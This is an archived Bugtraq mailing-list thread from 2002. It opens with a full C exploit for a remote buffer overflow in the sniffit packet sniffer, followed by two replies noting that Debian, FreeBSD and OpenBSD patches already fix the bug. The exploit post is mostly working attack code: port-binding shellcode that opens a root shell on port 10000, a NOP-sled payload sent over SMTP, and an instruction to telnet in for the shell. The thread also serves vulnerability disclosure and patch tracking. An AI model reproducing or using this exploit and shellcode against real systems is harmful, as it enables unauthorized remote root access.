7858917 2002-01-19 18:57 +0000 /293 rader/ <g_463@hotmail.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-01-22 06:20 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <20620>
Ärende: remote buffer overflow in sniffit
------------------------------------------------------------
From: <g_463@hotmail.com>
To: bugtraq@securityfocus.com
Message-ID: <20020119185703.25304.qmail@mail.securityfocus.com>
/*
Remote overflow in sniffit.0.3.7.beta
tested on slackware 7.1
found/coded by g463
-18th january 2002-
The vulnerability is triggered when the option -L is
called from the
command line with 'normmail'
ie : ./sniffit -c ./sample_config_file -L normmail
It calls a piece of code where the buffer is
unchecked
//From sniffit.0.3.7.beta/sn_logfile.c
void print_mail (char *conn, char *msg)
{
char line[250];
sprintf(line,"%s: mail [%s]",conn,msg);
print_logline (line);
}
- In a normal situation, it could be easier to fill line
[250] with our
shellcode, but since this buffer gets filter with
some kind of
strlower() function (thus our shellcode/return
adress too), i rely
on an unfiltered buffer with the same data so we
can point eip back
at that place with clean, unmodified shellcode :D
All my brothers (alphabetical order) : Erebus, Jinx,
mtadbf, nitr0gen, Slink[e]
+ some others i forget :p
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <error.h>
#include <string.h>
#define SMTP_PORT 25
#define MAX_LINE 256
#define BUFLEN 252
//define this to your ip
#define MY_IP "192.168.0.1"
//Value for overwriting eip
//should be the adress of the data buffer + some
couple of garbage bytes
#define RETADR 0x08059408
//Port binding shellcode, binds on port 10000
//taken from bighawk@warfare.com
char shellcode[] =
"\x31\xc0" // xor eax,
eax
"\x31\xdb" // xor ebx,
ebx
"\x89\xe5" // mov ebp,
esp
"\x99" // cdq
"\xb0\x66" // mov al,
102
"\x89\x5d\xfc" // mov [ebp-4], ebx
"\x43" // inc ebx
"\x89\x5d\xf8" // mov [ebp-8], ebx
"\x43" // inc ebx
"\x89\x5d\xf4" // mov [ebp-12], ebx
"\x4b" // dec ebx
"\x8d\x4d\xf4" // lea ecx, [ebp-12]
"\xcd\x80" // int 80h
"\x89\x45\xf4" // mov [ebp-12], eax
"\x43" // inc ebx
"\x66\x89\x5d\xec" // mov [ebp-
20], bx
"\x66\xc7\x45\xee\x27\x10" // mov [ebp-18], word
4135
"\x89\x55\xf0" // mov [ebp-16], edx
"\x8d\x45\xec" // lea eax, [ebp-20]
"\x89\x45\xf8" // mov [ebp-8], eax
"\xc6\x45\xfc\x10" // mov [ebp-4], byte
16
"\xb2\x66" // mov dl,
102
"\x89\xd0" // mov eax,
ed
"\x8d\x4d\xf4" // lea ecx, [ebp-12]
"\xcd\x80" // int 80h
"\x89\xd0" // mov eax,
edx
"\xb3\x04" // mov bl, 4
"\xcd\x80" // int 80h
"\x43" // inc ebx
"\x89\xd0" // mov eax,
edx
"\x99" // cdq
"\x89\x55\xf8" // mov [ebp-8], edx
"\x89\x55\xfc" // mov [ebp-4], edx
"\xcd\x80" // int 80h
"\x31\xc9" // xor ecx,
ecx
"\x89\xc3" // mov ebx,
eax
"\xb1\x03" // mov cl, 3
"\xb0\x3f" // mov al,
63
"\x49" // dec ecx
"\xcd\x80" // int 80h
"\x41" // inc ecx
"\xe2\xf8" // loop -7
"\x52" // push edx
"\x68\x6e\x2f\x73\x68" // push dword
68732f6eh
"\x68\x2f\x2f\x62\x69" // push dword
69622f2fh
"\x89\xe3" // mov ebx,
esp
"\x52" // push edx
"\x53" // push ebx
"\x89\xe1" // mov ecx,
esp
"\xb0\x0b" // mov al,
11
"\xcd\x80"; // int 80h
int usage (char *);
int calculate_conn_lenght (struct sockaddr_in, struct
sockaddr_in);
int
main (int argc, char *argv[])
{
struct sockaddr_in stServer, stClient;
char *ptHost;
unsigned long int iHost;
int iSockfd, iLenght, iAlign = 0;
char sBuffer[MAX_LINE];
char sString[300];
int i;
if (argc != 2) usage (argv[0]);
ptHost = argv[1];
if ( (iHost = inet_addr (argv[1])) == INADDR_NONE)
{
printf ("Invalid host or host is 255.255.255.255\n");
exit (-1);
}
//Fill the server struct
memset (&stServer, 0, sizeof (struct sockaddr_in));
stServer.sin_family = AF_INET;
stServer.sin_port = htons (SMTP_PORT);
stServer.sin_addr.s_addr = iHost;
if ( (iSockfd = socket (AF_INET, SOCK_STREAM,
0)) == -1) {
printf ("Error opening socket\n");
exit (-1);
}
// Fill the client struct, mainly used to calculate the
right align for RET addy
memset (&stClient, 0, sizeof (struct sockaddr_in));
stClient.sin_family = AF_INET;
stClient.sin_port = htons (0);
stClient.sin_addr.s_addr = inet_addr (MY_IP);
if ( (bind (iSockfd, (struct sockaddr *) &stClient,
sizeof (stClient))) == -1 ) {
perror ("Cant bind socket");
exit (-1);
}
iAlign = calculate_conn_lenght (stClient, stServer);
i = BUFLEN - iAlign + 4;
if ( (connect (iSockfd, (struct sockaddr *)
&stServer, sizeof (stServer))) != 0) {
perror ("Cant connect");
exit (-1);
}
else printf ("Connected to host %s on port %d\n\n",
ptHost, SMTP_PORT);
// Recevons la bannire du serveur smtp
if ( (iLenght = recv (iSockfd, sBuffer, MAX_LINE, 0))
== -1) {
perror ("Cant get server banner");
exit (-1);
}
printf ("%s\n", sBuffer);
printf ("Building evil string... >:)\n");
memset (sString, 0x90, sizeof (sString));
memcpy (sString, "mail from:", strlen ("mail from:"));
memcpy(sString + i - strlen (shellcode), shellcode,
strlen (shellcode));
sString[i++] = (RETADR & 0x000000ff);
sString[i++] = (RETADR & 0x0000ff00) >> 8;
sString[i++] = (RETADR & 0x00ff0000) >> 16;
sString[i++] = (RETADR & 0xff000000) >> 24;
sString[i] = '\0';
if ( (send (iSockfd, sString, strlen (sString), 0)) == -
1) {
perror ("cant send message");
exit (-1);
}
printf ("Evil string sent!\n");
printf ("Try telneting the host on port 10000 for r00t
shell!\n");
close (iSockfd);
return (0);
}
int usage (char *progname)
{
printf ("%s <ip>\n", progname);
exit (-1);
}
/*
function to calculate conn entry lenght
ie : strlen of ("192.168.0.1.1024-192.168.0.69.25");
(fuckin dirty but heh it works)
*/
int calculate_conn_lenght (struct sockaddr_in me,
struct sockaddr_in him)
{
int lenght = 0;
struct in_addr in;
in.s_addr = me.sin_addr.s_addr;
lenght += strlen (inet_ntoa (in)); // 192.168.0.1
lenght++; // .
lenght += 4; // 1220
lenght ++; // .
in.s_addr = him.sin_addr.s_addr;
lenght += strlen (inet_ntoa (in)); // 192.168.0.69
lenght++; // .
lenght += 2; // 25
lenght += strlen (": mail [");
return (lenght);
}
(7858917) / <g_463@hotmail.com>/--------------------
Kommentar i text 7863000 av Edwin Groothuis <edwin@mavetju.org>
7863000 2002-01-22 16:33 +1100 /37 rader/ Edwin Groothuis <edwin@mavetju.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-01-22 18:08 av Brevbäraren
Extern mottagare: g_463@hotmail.com
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <20622>
Kommentar till text 7858917 av <g_463@hotmail.com>
Ärende: Re: remote buffer overflow in sniffit
------------------------------------------------------------
From: Edwin Groothuis <edwin@mavetju.org>
To: g_463@hotmail.com
Cc: bugtraq@securityfocus.com
Message-ID: <20020122163300.A889@k7.mavetju.org>
On Sat, Jan 19, 2002 at 06:57:03PM -0000, g_463@hotmail.com wrote:
> Remote overflow in sniffit.0.3.7.beta
> tested on slackware 7.1
> found/coded by g463
> -18th january 2002-
For what it's worth, this problem is fixed with:
PATCH_SITES= http://ftp.debian.org/debian/dists/stable/main/source/net/
PATCHFILES= sniffit_0.3.7.beta-6.1.diff.gz
From the change-log:
sniffit (0.3.7.beta-6.1) frozen unstable; urgency=high
* Non maintainer upload.
* [security] sn_logfile.c: Replaced sprintfs by snprintfs fixing a buffer
overflow (bugtraq).
* [security] sn_analyse.c: Limit length of TCP packets to the buffer
size (buffer overflow with MTU > 5000).
-- Torsten Landschoff <torsten@debian.org> Fri, 26 May 2000
08:40:14 +0200
I assume Debian patches this, the FreeBSD port also applies these
patches.
Edwin
--
Edwin Groothuis | Personal website: http://www.MavEtJu.org
edwin@mavetju.org | Interested in MUDs? Visit Fatal Dimensions:
------------------+ http://www.FatalDimensions.org/
(7863000) /Edwin Groothuis <edwin@mavetju.org>/(Ombruten)
Kommentar i text 7863625 av Brad <brad@comstyle.com>
7863625 2002-01-22 12:52 -0500 /36 rader/ Brad <brad@comstyle.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-01-22 19:45 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <20623>
Kommentar till text 7863000 av Edwin Groothuis <edwin@mavetju.org>
Ärende: Re: remote buffer overflow in sniffit
------------------------------------------------------------
From: Brad <brad@comstyle.com>
To: bugtraq@securityfocus.com
Message-ID: <Pine.BSO.4.44.0201221244070.14564-100000@ss5.comstyle.com>
>Date: Tue, 22 Jan 2002 16:33:00 +1100
>From: Edwin Groothuis <edwin@mavetju.org>
>To: g_463@hotmail.com
>Cc: bugtraq@securityfocus.com
>Subject: Re: remote buffer overflow in sniffit
[snip]
> * Non maintainer upload.
> * [security] sn_logfile.c: Replaced sprintfs by snprintfs fixing a buffer
> overflow (bugtraq).
> * [security] sn_analyse.c: Limit length of TCP packets to the buffer
> size (buffer overflow with MTU > 5000).
>
> -- Torsten Landschoff <torsten@debian.org> Fri, 26 May 2000 08:40:14 +0200
>
>I assume Debian patches this, the FreeBSD port also applies these patches.
>
>Edwin
The OpenBSD port applies this patch too.
revision 1.9
date: 2000/08/30 23:50:29; author: brad; state: Exp; lines: +13 -15
upgrade to sniffit 0.3.7beta + Debian patches
// Brad
brad@comstyle.com
brad@openbsd.org
(7863625) /Brad <brad@comstyle.com>/----------------